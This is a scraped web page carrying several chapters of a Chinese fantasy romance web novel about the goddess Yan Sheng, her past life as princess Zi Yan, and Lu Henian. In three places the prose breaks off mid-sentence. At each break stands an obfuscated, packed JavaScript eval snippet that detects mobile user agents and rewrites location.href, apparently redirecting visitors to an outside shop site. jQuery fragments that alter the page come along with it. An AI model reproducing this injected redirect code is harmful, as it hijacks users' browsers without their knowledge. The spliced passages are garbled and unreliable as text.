柔栀仙子和颜笙两人抵达正殿后,又走了一段路,进殿后两人没有看到任何人。颜笙以为两人闯了空殿了,但柔栀现在坚持要继续走,所以她只好半信半疑地跟着。 半路幽幽有笛声传来,柔栀仙子几乎不假思索地,拉着颜笙去了后花园。 时值初秋,满园的枫叶开始泛红,但扔多半是青的。 忽闻先前平缓的笛音变得高亢而急促,一股清风卷着叶片朝她们两个袭来。柔栀仙子反手在额间一挡,那股残风直上云霄,化成青红斑驳的雨。 颜笙鬼使神差地,伸出掌心去接叶片。 柔栀仙子笑道:“只有赶在他心情差的时候,才能撞见这样的景观。可惜现在不是春季,还是有桃花雨的时节比较漂亮。” 她的语气是高兴的语气,笑的时候也认真露出皓齿,可眼瞳幽黑无光,似乎再多的曦光也无法在其中映出一点光彩。 颜笙不知怎么形容这仙子,时常感觉这位仙子不似个活物,倒像是努力模仿人族的人偶。但这仙子法力高得近乎荒谬,仿佛自开天辟地时就已在修炼。 柔栀仙子拽着颜笙往里走,在庭院深处,同时瞧见一个戴着傩面的玄衣男子,正在树下心烦意乱地舞剑。 颜笙走近时,仔细观察遮蔽男子面容的傩面,总觉着有些眼熟。 好像和梦境中子颜所使用的是同一副傩面? 22. 玄鸟秘闻(一) 柔栀仙子介绍道:“前面这位是陆贺年,看来他今日心情不佳。” 颜笙点头,其实也才猜出男子的身份,不过这柔栀仙子怎会看出他心情不好? 柔栀仙子看出她的困惑,解答道:“满月几乎会所有的乐器,笛子可不是满月最擅长的乐器,他最擅长吹笙。他心情好的时候才会吹笙。” 傩面下的陆贺年看不出脸上表情是不悦还是什么,只见他收回笛子,也没理睬柔栀仙子,转身就往殿内走。 柔栀仙子跃身挡在前面,戳向他的面具,“小公主亲手做的傩面,怎么又回到你手里了?” 听到这里,颜笙抬头又看一眼傩面,就是梦中的那副傩面。这小公主说的就是子颜,不过“又”是什么意思? 柔栀仙子看颜笙一直盯着那傩面,便说道:“他可是桃源境最好看的男仙,以前打仗怕因长相被敌军轻视,不得不用傩面遮容……” 颜笙脑海中突然闪现一段画面,一个小女孩把傩面盖在脸上,趴在一棵枣树枝头小憩。忽地脚下一滑,她从枣树上坠落,落入树下一位恰巧经过的男子怀中。 那女孩刚松了一口气,抬头看一眼男子的脸,忽地面色一红,便摘下面具,按在男子脸上,随后咬了一口男子的手腕。 男子吃痛地放手,女孩径自逃开了。 颜笙看不清记忆里男子和女孩的脸,又被旁边的柔栀仙子的声音唤醒。 柔栀仙子指着面具,“傩面边缘有点发黑,估计她直接投到火里的缘故,我帮你弄干净了。”说着便要伸手揭下那傩面。 陆贺年闪躲,同时按住傩面,以余光侧看一眼颜笙。傩面里传来低沉而不悦的声音:“傩面如何,与你有什么关系?” 柔栀仙子丝毫不畏怯,还是那副淡淡的德行:“她养母莲江仙是百花宫的人,我自然要过问。” “那也不劳仙子费心。”陆贺年的语气很肯定。 柔栀仙子假笑道:“再这么绝情,你之前向我请求的事,我要改变主意了。” 陆贺年闻听此言,语气渐缓:“今日还请仙子先回。在下心绪不佳,方才多有冲撞,还望海涵。那件事……容我改日必当亲自登门相商。” 他说完这句话,转身便走进了隔壁的一间房间,把门自内锁着。 颜笙摇摇头,看向旁边的柔栀仙子,见她掏出了刚才在酒楼面前露过一次的册子,在册子上面奋笔疾书。 “十月初九,陆贺年又被子颜退货,定情信物……。” 颜笙凑眼过去只看到这一行,后面的字被柔栀仙子的袖子挡上,便往前面看了看,“陆贺年用白蝉花助眠,最讨厌花椒和辣椒,喜欢吃削皮的茄子和……半生的豆厥子,这有毒吧?” “他一早就是活死人,不怕毒。子颜给他下了一年毒都没毒死他,他自己反倒因为受情伤病死了。”柔栀仙子轻描淡说完,又和颜笙讲起陆家往事。 陆贺年的父亲陆方伯是奉天族长,陆贺年有个兄长陆初年,在玄鸟国南城做驯马师。那时候能在玄鸟做事是荣光,他毫无疑问会成为下届族长。 奉天每年要为玄鸟族抓捕祭品,也不知怎么回事,陆族长划的祭祀名单里,居然出现了陆初年。 陆族长对此事未有微词,但是陆贺年知道后急了眼,跑进了皇宫和子幽理论。但这名单最终也没有更改,他们一家子老老小小都被邀请去观祭礼。 回去后,陆方伯病重,陆贺年又去了一次玄鸟,讨回了兄长的遗物和骸骨,还得了一桩与王族的婚事,他也因此住在玄鸟。但后来子幽毁约,还把他逐出玄鸟。 等他回去的时候,陆方伯已死,兄弟们为了接替族长之位,他们相互挞伐,斗得你死我伤,基本半数族人都被送去玄鸟。陆贺年回来后,平息了内乱,暂领了族长之位。 自那之后,奉天打算脱离玄鸟自立门户,也不再提供人牲。 为了打败有神灵庇佑的玄鸟,陆贺年牺牲了半条命去求幽冥之主姚蜚声,借来阴兵,又派出细作瓦解其内部。最终他推翻玄鸟国。 但自此之后,陆贺年每晚都梦见战时的惨状,那噩梦越来越严重。长时间不眠,他因身体衰竭而亡。 “其实那根本不是神尊罚他,我一直都有保护他。他作为凡人,只是因为忧惧而生了心病。”柔栀仙子说到这里突然落泪了,呜哇哇夸张地哭了起来,半晌后打了个嗝。 颜笙递给她一条帕子,露出怪尴尬的表情,心说这女神仙总该不会是喜欢他吧。 柔栀仙子“嗯”了一声,像是听懂颜笙的腹诽,又继续道:“我当然喜欢他,也喜欢子颜,喜欢颜笙。” 颜笙看她,这泪水来去匆匆的,倒犹如儿戏般,没半点感情,这喜欢和不喜欢好像也是模仿人族的模样。 “神爱世人,我喜欢所有人族。”柔栀仙子补充道,她往前翻了翻手里的册子,困惑地看了看颜笙,突然笑着说道:“有急事,我得出去一趟。” 说完这话她就消失得无影无踪,留颜笙一个人在显熠宫内。 这时候陆贺年打开房门,朝门口一挥袖子,凭空卷起一阵风,把颜笙推出了显熠宫的宫外。 颜笙倒也不打算继续叨扰陆贺年,便是回到暮雨城。 及至日暮是阴阳转换的临界点,此时的光辉渐而微弱,地底下冒起难以被凡夫肉眼所见的阴气。 颜笙在大街走着,路过陆归年的府邸,看着那宅邸大门仍然紧闭。 府邸周围尽是鬼怪,大部分都是饿鬼,手里端着一个破破烂烂的碗。还有一部分是噬魂怪,盯着路过的行人,口水快落到地上。 颜笙觉得事有蹊跷,便走近查看。 门口树梢突然垂落枝条,吊着一只噬魂怪,他吐出长长的舌头袭向颜笙,在半空中却舌头抽筋,往回打了个结,又把舌头卷回去。 摄魂怪从树上摔下来,拔出自己的舌头,慢慢把结解开。 它身形岣嵝,前胸贴后背,但讲话却理直气壮道:“我就讨口饭吃,不给算了,怎么还打人。” “吃活人还有理了?”颜笙问道,“摄魂怪不该在无常界敛魂,怎么跑到这里?” “身为恶鬼,谁不想吃两口鲜魂刺身?”噬魂怪呸呸两口,“这附近要打仗了,很快就新鲜的游魂了,不是太阴就是暮雨。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014897|193324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “无论如何,吃未亡人的魂魄是要判刑的。”颜笙正打算处置这鬼怪,却被旁人伸手拦截,一抬头,来人竟然是陆析。 陆析身后跟着无常界的神官。 神官仿佛没看见两人似的,不言不语地靠近摄魂怪,给他上了陈旧过时样式的枷锁,便带着他走了。 随神官的离去,府外聚集的摄魂怪也相应散开。 陆析扯着颜笙的袖子,把她提到一片无人的树荫下。 颜笙看他的表情郁郁不乐,便不打正经地调侃,说他是因前晚的春|梦所致,见陆析没搭理她,又当他是悲春伤秋、少男怀春,便说道:“你不会以为自己是天道?爱上了梦里的子颜了?” “怎可能。”陆析当即否认。 颜笙却道:“有没有你心里清楚。只是,不要把对她的感情,转移到我身上。”她也不是傻子,自从陆析梦醒之后,看向她的眼神明显与过去不同。 陆析的确是心虚,受先前的梦境影响,现在的他看到颜笙和陆贺年走到一起,便生出心绞痛。早上听闻两个人都不在,他便急匆匆出来寻两人。 陆析在暮雨城中转了整整一日,再寻到颜笙时,已经是黄昏。当然这些他并不打算告诉颜笙,只问她:“上神今日去了哪里?” 颜笙眼睛向上微挑,抿着两片薄唇,回顾细数今日能够向陆析透露的事,“也没什么特别的,在细雨楼观察这里的凡人。下来不久就遇到了你。” 正当此时,天边飘来一片云,降落在两人身边。 颜笙抬头看一眼云,又瞥向陆析,“正巧你来了,我们也该去趟太阴城,去找找子颜的那幅画了。”她见陆析犹豫犹豫,便说:“有我护你周全,去太阴城应该没事。” 其实若是颜笙熟悉太阴城,宁愿自己去办事,但奈何她只太阴沦陷那日去过那里一次。 有陆析的指路,两人很快抵达玄鸟的地下陵宫。 子颜死遁之后,莲江仙母子两个在家族墓群里修了座衣冠冢,里面葬着子颜从小到大穿过的衣衫,以及用过的器物。后来陆归年重新修缮了这座陵寝,把真正的子颜遗体也放进了这座坟里。 颜笙站在丘陵上施法,丘陵顶端突然裂开成两瓣,裂痕整齐宛如被锋利的斧子一刀就劈开似的。 颜笙拽着陆析跳了进去,两人刚跳进去,那两瓣丘陵突然合上,一点裂缝都没有,恢复到他们到访前的模样。 丘陵内部一片黑暗,颜笙施法点亮了一盏油灯。 一座宫殿拔地而起,立在他们正前方。梁柱之间的大门口,有沉重的大石堵在前面。乍一看便知到里面该是有不少机关。 陆析紧锁眉头,紧抓着颜笙的袖子。 颜笙丝毫没有惧意,她向来轻狂,但考虑到陆析是凡人,说道:“我先去里面看看,你就站在这里,等我回来,记得不要到处乱跑。” 说完这话,她也没等陆析答应,便把一枚护身符塞进陆析手心,“这枚符咒能抵御这时代九成的邪祟。你若在外面等着,应该会比跟着我一起冒险安全。” 陆析其实也担心自己会成为颜笙的累赘,便点头接下护身符。 23. 玄鸟秘闻(二) 两人分别后,颜笙施展了脱壳术,魂魄便钻进了墓道,只留了个躯壳在陆析旁边。 这个躯壳只是颜笙和颜笙的点头怪截然不同,无法对外界做出任何反应,站在陆析旁边犹如稻草人。 墓室里寒气逼人。陆析凑近那躯壳,忽听到里面传出女子声音:“滚开。” 陆析认出那声音来自颜笙,忙便退了两步,抱拳道:“是在下冒犯了。” “没说你。”颜笙的声音从容不迫,“你站好,不许乱跑。” 陆析隐隐生起不安,但听着她声音冷静,不像是遇到棘手的事。 另一侧,地宫内。 颜笙身处子幽的家族的墓群。方才她在子幽家族的女眷区域搜寻半天,未曾见到子颜的衣冠冢,却见正中立着一团黑影。 她先前对陆析出口恫吓,正是冲着这黑影来的。 黑影听到她的威胁,却不肯走。 颜笙提灯照去,黑影显出身形,是一位身材魁梧的男子,那张脸她是熟悉的,正是之前替她向神尊求情的玄鸟先任国君子幽。 子幽手中浮现出一把长刀,用力一挥,银色的刀光直冲颜笙而来。 颜笙退后三步,撑开一面罩子硬接正面袭来的刀光,防护罩碎裂,碎片割断了她的发带。 她赶忙把头发松松一拢,挽起一个歪扭扭的发髻。 子幽这时才看清她的脸,连忙收刀上前:“颜儿从未来回来,所为何事?” 颜笙目露惊色,片刻即冷淡下来,“我不是她,单名一个笙字。” 子幽知道颜笙不信,便继续道:“你的生辰是腊月第一个乙日。” 颜笙点头,这的确是她的生日。 其实颜笙本名的“笙”字并非指代笙这件乐器,而是取乙木之意。她出生在乙日,乙属花草竹木,所以笙字拆开就是乙日出生的意思。 子幽领她至旁侧墓群。此处棺椁三三两两,并没有太多棺椁环绕。 中央一樽衣冠冢,开启棺盖,内里空空,唯留衣襟陪葬。随葬玉器大都刻着“子颜”两字,子幽又取出一柄玉如意递来。 颜笙端起那玉如意打量,做工精致的玉石上面刻着“妹乙”,该是祭祀者对死者的称呼组合祭祀日,应该是子参留下的祭器,后面是死者的生辰日乙日。 “子颜的生日也在腊月第一个乙日。”子幽道。 “巧合而已。”颜笙不肯认下,以她对子颜道听途说的了解,印象并不算正面。她又将目光探向棺椁,并没有任何画卷。 子幽提醒:“要你找的画不在这里。” 颜笙随即察觉不对:“你怎么知道我在找画?” “五年前,玄鸟国历代国君的神灵听见你念叨‘找画’的愿望。只有玄鸟国君的心愿,才能被国君们听见。” “你说我是………”颜笙先是讶然,但转念想到陆析梦境里的种种古怪,顿时明白了几分。 这也就是说,若她在玄鸟信仰的区域内,很容易就被玄鸟的人找到踪迹。 若是人为地摒除所有玄鸟存在的地方,那岂不是就可以消失无踪了。 陆析应该就是利用这点,把子颜藏了起来,与世隔绝。 颜笙脑海中忽闪过子颜与陆归年逢场作戏的画面,脑袋里撕裂得疼起来,她按了按太阳穴,嘴角浮现嘲讽笑意,“人总是能踏入同一条河流。” 子幽误会了颜笙在自嘲,络腮胡微翘:“以前你就总偷偷放走祭品,朕买通卜官,安排你在神祠鼓瑟,后来也没见你悔改!国家存亡之际还大发慈悲心,放跑了那些叛徒,反被那些人所害。” 责备的语气里透着关心。颜笙不由得像子颜般尴尬地笑笑,抬头看着这位魁梧的先王,“您说的对,下次注意。” “还有下次?都祸到临头了。”子幽这才吐露来意,“子颜信仰反复,神尊欲攫夺她寿数,使其大婚当日薨逝。到时候你也会一同身死。” 颜笙一惊,忙问:“那我能做些什么?” “什么都不得做。”子幽摆手叹息,摸了摸胡须,“父王自有打算。两桩事你都不必忧。” 说完这话,子幽身影淡去。颜笙把陪葬物重新摆回去,瞧见里面的一根以长骨制作的鼓槌。她碰了一下骨头,无数细碎的画面涌入脑海。 这好像是子颜的记忆。 记忆的开端是一个平凡的清晨,子颜便被子幽传召到正殿。她在路上满心忐忑,捏了捏近日愈发浑圆的脸颊,心里浮想联翩。 该不会是近段日子找借口偷懒,没去神尊眼前鼓乐,被父王发现了? 子颜进入宫殿时,瞧见地上跪着位少年,衣着虽不华丽,但也比那些祭品体面些,至少不是衣衫褴褛。 少年低着头,始终看不清面孔,看着约摸十五六岁,右手虎口处有一道伤痕。他似乎察觉到子颜的目光,将右手悄悄藏在袖后。 子幽示意子颜到身边,指着地上的少年,“那日袭击你的,可是这个人。” 子颜想起那日树下救她的少年,但仍摇摇头,“我不认识他。” 适时,侍人奉上一根鼓槌。子幽接过,俯身递给子颜,故作惋惜道:“前些日子你弄丢的鼓槌,父王替你找回来了。如今可没借口偷懒了。” 子颜露出两颗洁白的门牙,回他一个尴尬的笑,接过鼓槌,小声讨价:“孩儿惊魂未定,得再歇三日。” 宽厚的手掌拍在她脑袋上,子幽和颜悦色道:“可以。” 未等子颜露出半分喜色,他忽而又开口:“既然不愿去神庙里鼓乐,不如跟你的生母一样参加活祭?” 说着,他往子颜手里塞了一把刀,看向地上的少年,“现成的祭品,你去,把他杀了。” 子颜握刀的手不停地抖动。 她颤颤巍巍地走向地上的少年,那少年纹丝未动,似乎等候死期临近。 在两人靠近不足一尺时,子颜突然把刀一丢,猛地挡在少年身前,扯住他的袖口,仰头看向子幽,说道:“他长得好看,我要留他做杂役,让他陪我玩好不好?” 子幽知道子颜生来厌恶杀戮,这会儿估摸动了恻隐之心,想把他放走,于是厉声斥道:“旁的俘虏也罢,此人是窃贼,偷了你的鼓槌。心术不正,这人留不得。” 子颜闻言一怔,这才恍然大悟。 这枚鼓槌失踪有一段时间了,现在想想正好是在她坠树被他救下之后才消失不见的。而那棵枣树所在位置,恰好是从乐房离开宫殿的必经之路。 一个寻常窃贼得手后,本该尽快逃离、避免引人注目才对。 可他却在逃跑途中,撞见她从树梢不慎坠落时,竟能不顾自身安危出手相救,甚至在她面前暴露面容。 他,又岂会是真恶徒? 子颜咬咬牙狠下心道:“不管,那我就嫁给他,以后他也是我们的家人了。父王总不能杀了自家人吧。” “你知道你在说什么?你才几岁?”子幽恼了,“况且他是个奉天贱民,他们居然会相信并不存在的天,对神尊阳奉阴违。他们死后上不了桃源境。” “正好。”子颜脱口而出,“反正我也不信——” “住口孽女!” 子幽慌忙截住子颜的话,见她吃了秤铁了心要救人,无奈摆手,“罢了,放他走,朕不追究了。” 子颜露出得逞笑容,悄咪咪与少年耳边说道:“太好了。我们扯平了。” 出了殿,她才知少年名陆贺年。那根鼓槌是他兄长的骨头,早些年城中疫病,他哥哥无辜被选为祭品,就此丧了命。 他父母因丧子之痛而犯了心病,他想把骨头拿回去,想着能缓解父母的病。 陆贺年请求子颜把骨头借给他一段时日,改日再还给她。 子颜抬起头,她此刻年纪尚小,个头太矮,看不清掩在日光之中的陆贺年的面容,只盯着那被光包裹的轮廓:“不能给你。” 陆贺年不解。 “鼓槌若给了你,我就不能混在后排的乐队里鼓瑟了。还得站到神像最前面跳傩舞。站在前面就会很危险……”子颜低声说道:“万一被神尊看上,就像……我生母。” “南歌子将军?”陆贺年问道,“我记得她是病逝的。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17018801|193324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是病逝。”子颜点头,“但不到三十就走了。父亲卜得死因,因为神尊看上她,要纳她为妃。父亲只得与她和离,还要亲自为她主持行冥婚。后来她逃婚了,还自堕混沌,做了位分最低的树仙。” 她说这话的时候,目光不由得望向两人身旁的一排排树木,眼底有些湿润了。 “所以那日你趴在树上,是为寻你娘?”陆贺年看她的目光里带着怜惜。 子颜讨厌提起这事时别人的异样目光,因为多数时候这目光后面,都伴随一句对她娘亲的嘲讽,她不认为眼前人会有不同,便说:“反正,我不能站在前面。” 陆贺年沉吟片刻,低声道:“等你平安长大,我会想法护送你离开这里。” 他那时已经动了推翻玄鸟的念头,当她是个落难公主,想救拔她出魔窟。可子颜未想那么远,还记着自己方才信口说要“嫁给他”的话,以为他把这事当真了。 “父王没答应我们的婚事。”子颜踮了踮脚,举起小手在他面前比划,“我这么小,都够不到你。” 陆贺年不由后退半步,垂手避让。 他这时候才想起先前子颜在殿上的那句戏言,也不知方才哪句话有歧义,引得小姑娘误会了,便连忙道歉:“方才是在下失言,与小孩子说些不合礼的话,还请见谅。” “不要这么拘礼,我们相差应该不到十岁吧。”子颜笑眯眯摆摆手。 陆贺年点了点头,继续道:“你若日后有难,可以去城南枣花酥铺子寻张掌柜,他自会通知我。至于将来,若你过了十五仍未得如意夫家,我会替你寻一门称心的亲事。” 他这话就是要撇清关系,想让子颜安心,自己对她没有男女方面的遐想。 子颜“咦”了一声,露出两颗晶莹门牙,笑道:“好多余。我们早就扯平了。你要是再纠缠,我可要把你抓去当鼓皮了!” 少年失笑,仍与她保持两步的距离,郑重点头,“记住了。” 她看不清他的表情,只觉他大概被吓了一跳,便把鼓槌塞回他怀里,佯装恼火道:“算了,还你。别缠着我!” 她说罢转身就走,仰着个脑袋,腰杆挺得笔直,箭步而去。背后,那少年的目光一直送了很远。 * 颜笙在地宫之中睡下了,睁开眼睛发现自己横趴在毛驴的背上。 “小祖宗醒了?”张脆枣瞅见颜笙醒了,连忙通知陆贺年。 颜笙看见张脆枣,想起来这不是刚才梦见的张掌柜吗。 还没等她询问张脆枣,那张脆枣便消失了,把他的驴子也丢下了。 颜笙下了驴,不得不牵着缰绳,又问走在一旁不吭声的陆析。 陆析说道:“上神说过自己一个人去安全,嫌我是累赘。最后自己在地宫倒了,差点出不来。” “是张脆枣兄弟把我救出来的?”颜笙问。 陆析说道:“是我通知了他们。” “嗯嗯。”颜笙想到自己的梦,“我应该没有说胡话吧。” “这你要问陆贺年。”陆析没好气地说道。 颜笙想半天没想明白这和陆贺年有什么关系。 两人路过城南,闻见刚出炉的点心香气。 枣花酥铺子前排着长队,两人也加入了队伍,买了一份枣花酥。 颜笙咬了一口热腾腾的点心。 有的时候一个人喜欢的事物,未必是她真的喜欢,或许只是小时候曾接触过的………随着时间流驶而不断美化,最终变成“绝对美好”的标准。 灵魂初生时,尝过的点心,见过的面庞…… 颜笙抬起头,平视着对面人的面容,阳光洒在他脸上,照得他每一根头发丝都无比清晰。 陆贺年瞧她一眼,忽地自嘲摇摇头,像是讽刺自己有一刹那认错了人,只得顶着别人的名号,走上前寒暄。 在街角的另一侧,站着一位女子,和颜笙长着九成相似的面容。 她捧着一枚尚还热乎的枣花酥,转身登上一辆装设简约马车。 马车奔驰在离开太阴城的宽敞路上,驶向暮雨城的郊外。 24. 玄鸟秘闻(三) 颜笙、陆析、陆贺年和张脆枣四人走在路上,颜笙听他们介绍才知这间枣铺是张脆枣的店铺,应该就是梦中陆贺年提到的那间。 不过颜笙依旧认为陆贺年是张脆枣,毕竟子颜梦中的陆贺年的面孔并不清晰。 陆贺年对此也没有解释,就让她误会下去也好。 自然,颜笙忽而想起梦里的事,便看向陆贺年,问道:“张脆枣,后来子颜真的有到城南的枣花酥铺子找陆贺年吗?” 真正的张脆枣在旁边笑得比枣花酥灿烂,朝着颜笙竖起拇指,“颜笙上神,你这可是问对了人了,陆贺年的事他可是最了解的。” 说完他感受陆贺年冷冷的目光,便抱着一袋枣子津津有味地吃着。 陆贺年回顾着往事,视线落到地面,语带愧疚地说道:“有。在她被选为神妾的那日,想让他带她离开太阴城,但被拒绝了。” 张脆枣大声哎了一声,枣子掉到喉咙里,噎得他剧烈地咳嗽两声,他把枣子咳出来,赶忙质问道:“你没病吧?” 张脆枣解下驴子挂着的水,倒了两口水润润嗓子,继续道:“她跑来铺子不止一次,哪次你不是有求必应,偏生提起这次?” 颜笙诧异,子颜经常到这间铺子?怎么听着像私会…她抱着怀疑问道:“他俩什么情况?” “没啥情况,正常兄妹般相处。小姑娘不喜欢杀奴隶,在宫里被孤立了,只能出来找我们玩。她每次回去都笑嘻嘻的。”张脆枣话锋一转,“后来有一日,她顶着对红眼圈跑过来,见面第一句就是求陆贺年娶她。” 颜笙想起《奉天秘史》的记载,陆贺年征讨玄鸟真正原因,是因为玄鸟国毁婚,难不成那婚约是和子颜? “他没答应?”颜笙问道。 “没有。”陆贺年突然开了口:“他们之间既无男女之情,也无父母之命。何况她的年纪在奉天还是孩童,怎么可能娶她。” “绝情的家伙!还躲小姑娘半年。”张脆枣摸了摸脑袋,仿佛上面有个包似的,接着道:“后来子幽赶我们两个出城,这才听说小姑娘被选为了神妾。” 颜笙叹道:“你们该把她带走的。她当时该多绝望啊。” 张脆枣左瞅瞅陆贺年,右瞧瞧颜笙,又盯着自己指尖夹着的晶亮枣子,忽而感慨道:“双选题,怎么选都造孽啊!” 陆析碰了碰颜笙的袖子,试图拽回她的注意力,“他们在骗你。陆家从不知陆贺年和子颜有过婚约。” “我看是陆归年在骗你。”颜笙甩开他,瞪着他的目光也有些恼了,“他们说得和我经历过、梦见的都能对上。” 颜笙倒也不完全迷信梦境,她更多依赖现实中遇到的。 无论桃源境的神尊将她当作子颜,细说她作为神妾的不忠,还是柔栀仙子记事本里出现的面具礼物,摆明这两人似乎关系不寻常。 恰逢其时,两只纸鹤同时飞到颜笙肩头。她取下第一只纸鹤,拆开纸鹤查看里面藏着的信纸:陆归年已经回到暮雨城,还带来了前大祭司子颜,两人过段日子便要成婚。 另一只纸鹤是摄政王给她下达的命令,要她留在暮雨城,以后不必再回来了。至于大祭司之位,以后就不必再存在了。 颜笙心说,这是卸磨杀驴? 也好。 她原本去应征摄政王的春官,也只为找到那幅画。既然子幽说知道那幅画的下落,那肯定是和玄鸟国有关,她再回奉天也没什么意义。 * 摄政王陆征年并非让颜笙直接卸甲归田,暂且将她安置暮雨城的春官府挂名,等到那两人大婚后再辞官。 这日她在家宅中闲坐,听到通报说:九殿下陆归年来访。 颜笙抱着装有龟甲和蓍草的匣子,走进宴客厅,看见了屋内踞坐的两位客人。 这回,陆归年是带着子颜一起来的。 颜笙和子颜只见过寥寥几面。子颜生得和她确有九成相似,比她五官略微钝一点,坐姿端正得仿佛比着一把尺。 他们此番前来定是为两人的婚事。 颜笙有所耳闻,陆归年回来后,屡次命春官占卜他和子颜的婚事,但获得的占卜结果都不尽如人意,最后下旨命令禁止再占卜此事。 陆归年开门见山地说:“摄政王不愿意我与子颜成婚,听闻您要离开,还请您临走前帮个忙。” 颜笙没理他,手里蓍草已经摆出卦象。她垂眸瞥一眼卦象,便开口嘲讽道:“坤之无妄,怎么帮?是你婚事无妄,还是她心无妄?” 陆归年听到这话愣了一下,顾左右而言他,说道:“我已占卜婚事,你不必随意卜算。” “听闻你占婚初卦全是大凶,逼着春官们再三重复占卜,可知亵渎鬼神?占卜乃是通灵,凡夫短时间内数次骚扰鬼神,会损耗阳气。”颜笙反问完,瞥一眼子颜,联想起自己遭遇,“还是说,想要女子为你守寡?” 陆归年展臂将她护在身后。 子颜却对颜笙点头,微笑道:“我倒是不怕。” 颜笙虽非亲身经历两人的事,但蓍草的卦象不会骗人,已经告诉她不少事:陆归年估计是子颜做了什么交易,若他死后,子颜会获得不可估量的好处。 “整挺好,继续。”颜笙瞟向两人,心说子颜爱选谁,以她的性格只要不陷入爱河,应该不会吃亏。 “这里有一个不情之请。”陆归年随后起身向颜笙行礼,未等颜笙答复,便把请求抛出来:“颜祭司,还请您归还子颜的身份。” 颜笙仔细一问才知道,陆归年是想让她和子颜交换身份。 按照他的说法,颜笙借走子颜的大祭司身份,这会儿既然她已经还不了大祭司的位置,那就把她颜笙这个名字和春官的名头还给子颜。 后面这段待嫁的日子里,子颜就住在颜笙这里,出嫁之日以颜笙的名字出嫁。这样一来,明明是子颜与陆归年成婚,名分上面却是颜笙嫁给了陆归年。 可真会使唤她! 颜笙心里狠狠地翻白眼,起初想拒绝来着,但想着自己就要离开这里了,把自己的名字借给自己前世,其实问题不大。 她嗯了一声,说道:“这没问题,不过我没有其他落脚的地方。婚礼结束后,我依旧有权住在这间院子,直到我有足够能力离开这里。” “可以。分例月钱照旧从我府上拨。”陆归年既没问她去哪,也没有挽留她,只说一句:“祝您旅途一切顺风。” 好聚好散,他们这次可比上次诀别体面多了。 * 陆归年离开后,颜笙想到自己要走,便把家中两位客人召集过来,与他们两人分了家。 陆贺年沉默着。 张脆枣这人是个乐观的空心大脆枣,这时候张口:“别的可以不要,家中的那棵枣树,得归我。” 颜笙摆摆手,“搬走吧。” 张脆枣一听心满意足,后面的日子开始殷勤地给颜笙熬姜枣茶。 之后几日,陆归年参考玄鸟婚俗流程,试着用动物代替人牲,和颜笙排练了流程。颜笙比他们在场每个人都熟悉这些礼数,至少求亲流程没出错误。 等到成亲那日,颜笙由于心情激动,醒得极早。那时不到寅时三刻,天还没有一丝光亮,她便举着一盏烛,到隔壁间找陆析陪她晨练。 颜笙刚进屋,便推搡两下熟睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023408|193324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的陆析。 陆析没睡醒。最近他不知为何,身体特别嗜睡,眼睛总是很难睁开。 他迷瞪着双眼,瞥见窗纸还黑着,只有一盏火烛映着颜笙的轮廓,梦魇般唤道:“楚楚,别闹。” 陆析唤完这一声,跟没事人一样,翻过身继续睡。 这是颜笙最后一次转世时的小名……这昵称和子颜并无丝毫联系,也没被任何史书记载过。 他是从哪里知道的? 颜笙拉了下陆析的胳膊,不过陆析睡得极沉,根本就不理会她。 她冷静下来也放弃唤醒这人,心说大抵是陆析睡糊涂了说梦话,又被她听错了,便离开了房间。 * 颜笙出来后,发现子颜所在厢房的窗子还开着。 今日风冷,颜笙担心子颜着凉,便想过去关窗。 没想到走近时,瞧见子颜正坐在窗边,手中举着册子,蹭着月光聚精会神地看书。 颜笙用余光斜瞥那册子,这页书上写着的字体,怎么像是后世才会出现的字。 正当她困惑之时,子颜已经合上书册,压在其他书册下面,然后用那对映着溶溶月色的眼眸盯着颜笙,问道:“颜祭司,你也睡不着?” 颜笙却道:“可能是有些激动。” 子颜见颜笙呼吸间冒着白气,便提议道:“外面冷,不如进屋坐坐?” * 屋内香炉烧着白蝉花香料,不一会儿,暖香飘满狭窄的房间。 子颜端坐在铜镜前,望见镜中两张极为相似的脸,感慨道:“你说,世上会有两个不同的人长得极为相似吗?” 颜笙当即想到了陆析和陆归年,回答道:“说不好的事。” 子颜对着答案不满意,便转身拉过颜笙的手,翻到她手心的那一面,在她掌心轻轻描摹一圈,掌面瞬时间显现出一朵红线勾勒的花,感慨道:“颜祭司的手心里也有一朵花。” 那是一小块胎记,呈现着近似白蝉花的形状。 颜笙过往每一世,手心都有这么个胎记,平常不用力触碰它,便无法显现。 这时候,子颜掌心向上,张开五指,她的掌心间也有一朵花,“我手心里也有一朵。哪有这么巧合的事?” 颜笙捧着颜乙的手心,对照着自己的手心。两人手心的花是相同形状、相同颜色、相同大小,或者说,两个胎记几乎是一模一样。 颜笙只好坦诚:“其实,我们两个是同一人。或者说,我是万年后的你。” 子颜并不惊讶,她早有猜到他们之间的关系,看到那花形只是更加确认了心中答案。 